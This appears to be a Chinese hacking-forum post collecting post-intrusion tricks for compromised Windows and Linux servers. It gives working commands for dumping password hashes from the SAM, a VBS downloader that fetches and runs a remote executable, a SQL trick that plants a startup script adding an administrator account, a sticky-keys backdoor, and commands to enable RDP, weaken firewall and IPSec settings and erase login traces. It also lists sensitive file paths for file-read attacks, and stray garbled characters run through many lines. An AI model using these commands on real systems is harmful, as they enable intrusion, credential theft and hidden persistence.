% q7 s6 _( J8 `8 r（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
+ c; p7 r  [) I1 Q6 g% Z$ g9 P2 t( \——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 f9 k, e0 a# @  V6 ]$ T  d4 y' `————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ A! J' L" U5 d7 ]}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
7 c7 j: l+ W& |7 x! L9 n% h6 |' z9 Qrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
8 \  Y8 f& U9 I4 ?! G" E8 Efor window：
  ~1 G. E6 |5 \) c2 q* W1 Q
9 b9 U8 F" u& U5 r" R@echo off
echo #########system info collection
8 q& l7 x$ E0 ]' S3 L9 Usysteminfo
ver
; k0 {4 Y; k3 K& `. W% ]; b& u$ Phostname
4 d$ ?3 \3 M$ h, B7 l* X% t' ?net user
net localgroup
net localgroup administrators
net user guest
net user administrator

0 L; d( U, j( d: ~4 q( N$ Z. h) becho #######at- with   atq#####
echo schtask /query
$ a- J: O9 E& b9 Y  ]
0 v* B' M# l/ J" Q# p" Oecho
' ?# V; {9 R% j1 m1 yecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
6 z! `6 X8 z: \8 }route print
arp -a
netstat -anipconfig /displaydns
- S+ j$ i+ A$ @& j- o3 T) |echo
: |3 [: u; ]2 K1 `echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
& q& z& a( Z+ t% mtree -F
+ G( W! V- y* z5 n/ Y$ a( u# mfor linux：

, f! J$ h3 s. G3 q. ~0 F#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
# X' r7 z; c- t+ d# j# t# s" Oecho #######basic infomation##
# q3 D' ~3 ^, n) ^cat /proc/meminfo
& J, ?# X" _  _7 ^; \8 k0 vecho
cat /proc/cpuinfo
, Z9 J5 Y, `) pecho
  [: E8 ~8 U8 x9 }: {rpm -qa 2>/dev/null
: g. c- |& U/ m* m# Z3 Y; _5 E######stole the mail......######
% U7 \9 z# K* q' m. Icp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
9 S2 T* j! n3 ~  _5 x! u0 L% B2 pcrontab -l
echo #####about var#####
2 _* t4 l$ Q# I' H/ k9 I2 B) X8 Qset

echo #####about network###
) J. r6 p$ C1 o( W; \" ], y####this is then point in pentest,but i am a new bird,so u need to add some in it
2 Q; I, `' P6 lcat /etc/hosts
hostname
ipconfig -a
6 [4 Q) l0 u2 p! Q" ^1 Qarp -v
echo ########user####
8 m; Q7 O3 m9 T! O: q6 wcat /etc/passwd|grep -i sh
; o1 O+ A! B  w# f3 X; T
echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
+ |- w0 ^  h' W. d6 [% E2 y
locate passwd >/tmp/password 2>/dev/null
' \! P+ w4 w9 V& o+ lsleep 5
. ]5 ~' |7 Y+ E% K( T: s  c1 zlocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
* }  W5 T- C6 dsleep 5
' p/ T; o6 I& H0 F+ K4 r2 T2 Ilocate config >>/tmp/sysconfig 2>/dev/null
$ q1 P9 ?7 F$ ?* v+ rsleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
# F" i! w  I% e* m; Z. J! S8 `4 krm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
6 Q2 s  e2 S( ~. \, C2 L9 @6 K               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
) V3 f3 |/ r% C7 F注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
3 R4 e* `+ n- m8 T, |+ Q& ]接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
5 e: q3 Z) D6 U7 L——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
8 l: Z" Y+ R: u6 S7 decho sGet.Mode = 3 >>c:\windows\cftmon.vbs
! E' L2 s; m, h: |: t5 E7 T( p  B( S( Recho sGet.Type = 1 >>c:\windows\cftmon.vbs
8 N# f3 I3 W0 Y8 B) ^echo sGet.Open() >>c:\windows\cftmon.vbs
# t. E* T' o5 t1 I4 R/ I  f4 Kecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
# U( x& ^  |( N, Kecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
4 L' p9 l$ [( U5 Uecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
0 L; C' s. ^9 j9 r; W+ f
# J7 Y) v6 P" W1 s8 t5 Q0 R: P2
( h; o6 x7 C+ ]) H8 Y- sOn Error Resume Nextim iRemote,iLocal,s1,s2
, K! S! [: b% V. ]5 AiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
! h7 C2 y- |/ |- W' p. Ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
6 z. Q: K# Q  [; q# TSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
$ g) L) k2 \- q2 D1 Y' z& H5、
0 K# [% d: N) ~! |1.查询终端端口
9 q" m5 N% J: p. D" ~5 M: ~REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
. N8 R( V2 \6 _REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
% x( o% N( T, Z- k6 AREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 ?. |- H8 V" r4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
, I6 p# B4 T: J6 m8 dREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
6 S4 f: g, M- k2 p: l' y————————————————
6、create table a (cmd text);
$ I( y$ o6 R* `. Einsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
' t* h% s* n: v' |8 y: }select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
8 c! [$ o% u+ M, z, @( v+ ?, ?+ c7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
/ Q* J5 @4 T% r; d: E/ h* o  y. E
列出d的所有目录
" N$ M6 T3 X, a: K+ f- w  
0 s( `9 O6 q3 S' g9 i  for /d %i in (???) do @echo %i

9 i) S2 b, S! G# f  a把当前路径下文件夹的名字只有1-3个字母的打出来
: Q1 c$ `- p8 J$ Z& M
( J/ e( z" W# i6 Z, R6 Q' J2.for /r %i in (*.exe) do @echo %i
  
- r/ s4 Y! L' |2 y以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

% G* P) g+ Y6 ]0 E+ R3.for /f %i in (c:\1.txt) do echo %i
  
% J$ w2 n% `) R9 h, v4 g  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
0 |. K2 Z, O6 J2 W' u+ b●注册表:
1.Administrator注册表备份:
) z# n0 _" Z6 d9 Z( e2 m" ireg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
1 h, c0 t7 L, r7 \& J
4.Radmin密码:
$ z# K9 Y7 s. F6 |reg export HKLM\SYSTEM\RAdmin c:\a.reg

% t+ U# ~$ q: {' u' _4 T5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
. X. B7 W6 c9 ]; J, u7 hreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
3 N2 y6 o# r# u8 m0 ?netsh ipsec dynamic set config ipsecexempt value=0
! h! O' \  e6 P; j
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
- o! k, f( E% X) x4 `- e7 |; qreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
6 C3 y6 f" e8 u6 K
5 V$ d8 F5 u( ]8 w$ [+ L9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
% S4 U' b$ A* T& v! T, m1 ], preg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
$ v, Q. o8 J% P& z7 E; A: w
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
2 v! m) `* ?4 b& L' v6 K-----------------------------------
星外vbs(注：测试通过，好东西）
5 J; i( l% ]' \2 {1 M& p- @Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
/ n5 `" t, l1 Z9 K, V9 FchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
, e( d: D; F6 Mset IIs=objservice.GetObject("IIsWebServer",childObjectName)
, h* ?) Y0 r- _  ^+ _if err.number<>0 then
8 N( s9 v0 B: f% Mexit for
: N) r9 ~: H) h4 g1 A) Xmsgbox("error!")
. N# x7 ~5 Y/ ~. `6 v3 \wscript.quit
! v7 a2 J& I% E  I$ ~# U4 Qend if
, s" ^2 M* T9 sserverbindings=IIS.serverBindings
4 H/ x8 w* \* l9 XServerComment=iis.servercomment
: t- Q& n% [% t! T& P/ Tset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
, l0 ^* t) e5 t9 T3 v( T4 Z( t' tpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
; _2 B- F4 s% p) Z1 SNext
wscript.echo list
Set ObjService=Nothing
5 l3 m7 k& F! Y: j4 f$ w9 q" S- Ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
8 {9 w9 Q$ U  v; V/ u, [复制代码
2 _! X' u( Y- g' {----------------------2011新气象，欢迎各位补充、指正、优化。----------------
+ V8 n6 n2 h5 h6 a  g$ D1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
) |: i( G# I- ~将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
) a$ _. {) q) g/ U* F! V4 ? 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
1 M5 _7 `. G5 H3 F 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
* n! [( ]: C* H. E
2 N% n: M# j+ A==============================================================
LINUX常见路径：

0 v0 B3 Z, b6 e1 _. e/etc/passwd
/etc/shadow
$ ]2 |& u$ F. r/etc/fstab
; @3 }" ~' ^1 s/ t/ U0 J/etc/host.conf
' ]2 O/ I8 A: [) [5 U2 F/etc/motd
/etc/ld.so.conf
  |. J; v/ D% F0 M/var/www/htdocs/index.php
* ]) e6 K9 ~/ r" K4 }/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
- R2 a( }; H( u" A! h' x/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
7 u( Z# P) Z$ F+ f. E/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
  v/ |5 C# ]' Z) A) G0 ?& q/ _+ ]/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
5 d; f5 J* p! f+ D7 h/usr/local/apache2/htdocs/index.html
0 {: t% V$ \. H+ `( @/usr/local/apache2/htdocs/index.php
& S. X4 `( Q5 i- W4 s" Q% \) R& ~/usr/local/httpd2.2/htdocs/index.php
- A% P+ E$ d, k- w" B1 w$ Y/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
$ Q. _* Y1 H) [( i$ ?  S4 @" T/ G5 v0 m/tmp/apache/htdocs/index.php
$ {) {( {  @. {7 L; m3 r! {2 r( C/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
  h- j7 `: f( c, G. V/www/php/php.ini
8 S' ~2 c" x" C' u' ]/www/php4/php.ini
" t" J" ~- h9 V2 F9 Z$ \; ^/www/php5/php.ini
1 t6 \9 I% Z6 A/www/conf/httpd.conf
+ u+ K4 P5 j- s* p  T/www/htdocs/index.php
/www/htdocs/index.html
. T% b, Z5 p9 l0 Y+ Z4 J% C( g/usr/local/httpd/conf/httpd.conf
3 g' j* Q) j: ^  H/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
( x, H' v8 G3 }9 Y$ _! v3 K( J/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
+ y$ B9 O& C& E/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
6 f' g# u7 P0 F4 _/ G  n* O/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
& [" I" h6 i: Z; i/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
  y6 j* s' S2 w5 w* K  o# [3 Z4 E/etc/httpd/logs/access.log
7 |2 D  V% ]( O! n( [/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
9 k& r0 `, b: T6 o/var/log/apache/error_log
/var/log/apache/error.log
) I- p; C/ `3 D; O/var/log/apache/access_log
/var/log/apache/access.log
: M$ w! R8 n7 I# n/var/log/apache2/error_log
+ ]3 q& ]: T; Z- A+ t/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
' ]& [1 o: `5 ~2 b5 \# f/var/www/logs/error_log
/var/www/logs/error.log
# R; t, v  l' R. ?/var/www/logs/access_log
1 P$ {/ Q3 \( K- i" K' l/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
. g0 F7 @. G% n  Y0 A/usr/local/apache/logs/access_log
/ E0 t3 f" c1 q  D& [) j/usr/local/apache/logs/access.log
9 R$ E, w6 k. v. S/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
: E1 O2 ~; W: n( H% j" _/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
' k7 `7 L3 k9 f8 G5 Y/bin/php.ini
/etc/init.d/httpd
. q# W% s+ |8 x- v* v. d* t0 U' o/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
4 ~4 p+ v  G& W5 T; }4 |% t; ?6 p# k/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
7 F) f* q5 |( Z# i$ g# H/usr/local/php4/lib/php.ini
# I, g. b& S4 K# y3 G0 C/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
2 }! w8 `9 Y! z% ]/usr/local/php5/lib/php.ini
7 \1 `- Z. ~4 k% |; I  h/usr/local/php5/etc/php.ini
' L1 V: c# z6 I/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
) f( _1 F  L( K2 N. D% H/usr/local/apache/conf/httpd.conf
/ k4 f7 _4 j/ w( C, O/usr/local/apache2/conf/httpd.conf
% O" o2 Q( `' Y/ N0 X/usr/local/apache2/conf/php.ini
. E7 B3 M, [% Y# h: H6 w# E/etc/php4.4/fcgi/php.ini
5 ~" P, W# |& ?. u6 G# ^0 k# ^/etc/php4/apache/php.ini
5 l7 q( L6 \4 l+ {. Z2 B( c/etc/php4/apache2/php.ini
, d, e' s; G+ `$ j3 b! f3 C/etc/php5/apache/php.ini
5 ?2 B! _6 A% _, L( e6 }/etc/php5/apache2/php.ini
& s4 Z) c0 o5 U) N- e3 Z! C; x/ x% w: b! D/etc/php/php.ini
1 f. a1 A+ q8 _. @) t2 E6 _) a/etc/php/php4/php.ini
) X: ^7 C8 ]2 z5 X. J3 N, |/etc/php/apache/php.ini
, A6 D4 f$ [8 J, U# M  ?/etc/php/apache2/php.ini
/web/conf/php.ini
/ S& Y$ g2 ~, C. @! o/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/ S! u) ~& J" k' o5 \/var/local/www/conf/php.ini
6 h- _. F5 H1 V/ y/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
% _8 V. F) u& P- R+ O8 l1 V/etc/php5/cgi/php.ini
/php5/php.ini
! b. v& }7 r& m' W6 K' E/ ?/php4/php.ini
/php/php.ini
# i) ?8 ^( M- n& h/PHP/php.ini
: ^$ ?$ I2 y6 v  i. V/apache/php/php.ini
% M5 D/ D; }! Z/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
7 \% H" C+ Y! }. |6 i8 m/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
, M. J  \4 B/ x% b# Z, n0 k  u/var/log/mysql.log
9 Z( L, k8 [( b( E, Z/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
: f+ b0 \9 ~# Q1 q* G/var/mysql.log
' `1 e7 L( C# c- c$ w/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
3 k* h; k+ B- _. M0 j- {/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/ F1 w  B7 u* T/usr/local/cpanel/logs/access_log
' b# d7 C/ v  J/ ?  P. L5 G5 U/usr/local/cpanel/logs/error_log
) k( M3 x" m; L- D& W% K, V/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
) y8 i9 z( C3 g" m! ^/usr/local/cpanel/logs/stats_log
- K. W! k* Z! q0 i" j3 `/usr/local/share/examples/php4/php.ini
/ ~5 W# h! P: }! B) f/usr/local/share/examples/php/php.ini
0 f& P) J& F  ?  D& Q7 `" d
, c; C# c4 D, p' H, ^4 c2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
7 q% y8 A6 w# [( L# [
c:\windows\php.ini
c:\boot.ini
c:\1.txt
+ E- y; S" W  `1 U$ Pc:\a.txt
; ]2 x" [. v4 i1 g7 S" W- f
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
; E& S! w2 l- V4 l! b. ]c:\program files\CMailServer\WebMail\index.asp
: h; c0 y' J% ]- tC:\WinWebMail\SysInfo.ini
/ H7 q' _7 W8 K& g# a; i" hC:\WinWebMail\Web\default.asp
' |$ W! I, r! n1 e/ ^C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
; F0 s4 S7 I+ VC:\WINDOWS\7i24tool.exe

/ I% q# [+ T5 C) |3 ?8 [6 Hc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
* w1 C: l& z( A2 u, HC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
+ e; M' a2 F3 }
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
4 q& Z5 v% u1 Q8 Z1 m5 }" [8 n0 cC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
) J6 ]+ y( Z7 P# |" ?, ~c:\WWWROOT\index.html
% Z! N( b" U% _" _) j5 D- o& B& Nc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
" ]  o* h+ y( }' z" ec:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
" S# n6 x5 A  L: ]: E! vc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
  C6 E" [0 D& G) J% A1 hc:\www\default.asp
9 R9 f5 R# f$ u, K: H: ec:\wwwsite\default.asp
; X/ F& i% W3 m+ `* B# t7 Dc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
1 h! l3 T2 {% \9 l/ r) @% a8 \+ kc:\WWWsite\default.php
1 x: }1 U& x% d9 g1 G) k3 XC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
+ B( z$ o, z+ B- P3 M7 sC:\Program Files\Microsoft Office\OFFICE10\winword.exe
5 Z" V. Y  K" T  g$ D' I# V  ]" XC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
7 i+ l; j3 a9 _; cC:\Program Files\winrar\rar.exe
0 n: B& \6 d7 t' aC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
- }) i, S5 I# M" u% p+ Q7 dC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
8 `, W* c( K" t) A, B3 gc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
3 n! ^* p  o" BC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
% b4 p$ S" w0 HC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& L, S) C- l" u) e( F- jC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
1 e) n5 f+ C3 J6 I) U; k: }C:\Documents and Settings\Administrator\My Documents\a.txt
+ k1 {3 i! d, a# }/ rC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
; K, F' V4 k/ G8 F* f; eE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
. {5 a; X' j4 H$ TC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
  A. I5 Y% F4 b/ a5 wC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
, A8 Q& {" g4 s3 g( d9 m, vC:\Program Files\Symantec\SYMEVENT.INF
4 i' Z2 T$ S5 c6 q8 N8 SC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
0 u; c  e2 W$ s- {C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
/ s2 y7 z( x# u( S) C% s6 QC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 I1 E- E9 }* s9 d& T3 J) yC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
: Q- l7 v; `( V. m" IC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
" U% |/ q- \9 P5 A. g7 X1 L8 dC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
4 g6 I3 M8 x+ F! PC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
3 ?. d8 Y8 D2 t1 G. T/ YC:\MySQL\MySQL Server 5.0\my.ini
( @4 F# b! f/ n0 D3 p7 b' _8 E( XC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
" \6 e3 j0 o% @$ fC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
. b3 K: m2 R1 q! G/ P) jc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
! w% I3 n: a6 o- k& N4 [C:\WINDOWS\system32\inetsrv\inetinfo.exe
+ p7 k2 h3 y; T; m3 j, q) yC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
3 y* l9 d/ h, S7 I1 ]1 P. p9 ~C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
* \2 i& f* C1 d1 j. V( _+ I  H# mC:\WINDOWS\system32\config\system
' s4 w* B4 c  ?  d  n+ p: _* Gc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
, v$ q! `% o3 v7 w$ H1 nc:\tomcat6\bin\version.sh
* h7 ?2 Y" A7 f  M4 ~c:\tomcat\bin\version.sh
( f' d2 @; _- n+ C* Wc:\program files\tomcat6\bin\version.sh
8 Y  K0 u$ }; \9 J) H0 D' _C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
( r$ f$ t( a& @* rc:\Apache2\Apache2\bin\Apache.exe
5 K! w) A# g5 F- m9 j: ~c:\Apache2\bin\Apache.exe
& q+ u4 b# b& w8 |+ lc:\Apache2\php\license.txt
& h: M0 k1 ~  ]. M7 J/ F. c) NC:\Program Files\Apache Group\Apache2\bin\Apache.exe
$ Q+ m2 i3 L; E2 t9 g3 S/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
; S7 k# s6 O; sc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
+ h9 }7 A2 M) w0 {( ?# T( m* N5 hc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
$ n! {7 y  X. f: ?& f+ L- i; u" Qc:\Program Files\Tencent\qq2009\qq.exe
